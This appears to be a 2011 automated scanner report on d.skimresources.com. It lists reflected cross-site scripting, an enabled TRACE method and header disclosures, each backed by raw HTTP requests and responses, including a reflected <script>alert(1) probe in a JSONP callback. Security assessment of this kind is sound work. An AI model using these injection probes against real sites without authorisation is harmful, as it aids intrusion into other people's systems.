1. Cross-site scripting (reflected)
3. Private IP addresses disclosed
4. Content type incorrectly stated
Severity: | High |
Confidence: | Certain |
Host: | http://d.skimresources |
Path: | /api/index.php |
GET /api/index.php?callback Host: d.skimresources.com Proxy-Connection: keep-alive Referer: http://www.bit-tech.net Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,* |
HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 Date: Tue, 15 Feb 2011 21:43:39 GMT Server: Apache X-Powered-By: PHP/5.3.2 Content-Length: 718 Connection: keep-alive skimwordsDataCallback25f45<script>alert(1)< ...[SNIP]... |
Severity: | Information |
Confidence: | Certain |
Host: | http://d.skimresources |
Path: | / |
TRACE / HTTP/1.0 Host: d.skimresources.com Cookie: fc92ed3cc7dd514c |
HTTP/1.1 200 OK Content-Type: message/http Date: Tue, 15 Feb 2011 21:43:21 GMT Server: Apache Content-Length: 178 Connection: Close TRACE / HTTP/1.1 host: d.skimresources.com Cookie: fc92ed3cc7dd514c X-Forwarded-For: 173.193.214.243 X-Forwarded-Port: 80 X-Forwarded-Proto: http Connection: keep-alive |
Severity: | Information |
Confidence: | Certain |
Host: | http://d.skimresources |
Path: | /api/index.php |
GET /api/index.php?callback Host: d.skimresources.com Proxy-Connection: keep-alive Referer: http://www.bit-tech.net Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,* |
HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 Date: Tue, 15 Feb 2011 21:43:20 GMT Server: Apache X-Powered-By: PHP/5.3.2 Content-Length: 677 Connection: keep-alive skimwordsDataCallback({ ...[SNIP]... ft-warns-zero-day-windows |
Severity: | Information |
Confidence: | Firm |
Host: | http://d.skimresources |
Path: | /api/index.php |
GET /api/index.php?callback Host: d.skimresources.com Proxy-Connection: keep-alive Referer: http://www.bit-tech.net Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,* |
HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 Date: Tue, 15 Feb 2011 21:43:20 GMT Server: Apache X-Powered-By: PHP/5.3.2 Content-Length: 677 Connection: keep-alive skimwordsDataCallback({ ...[SNIP]... |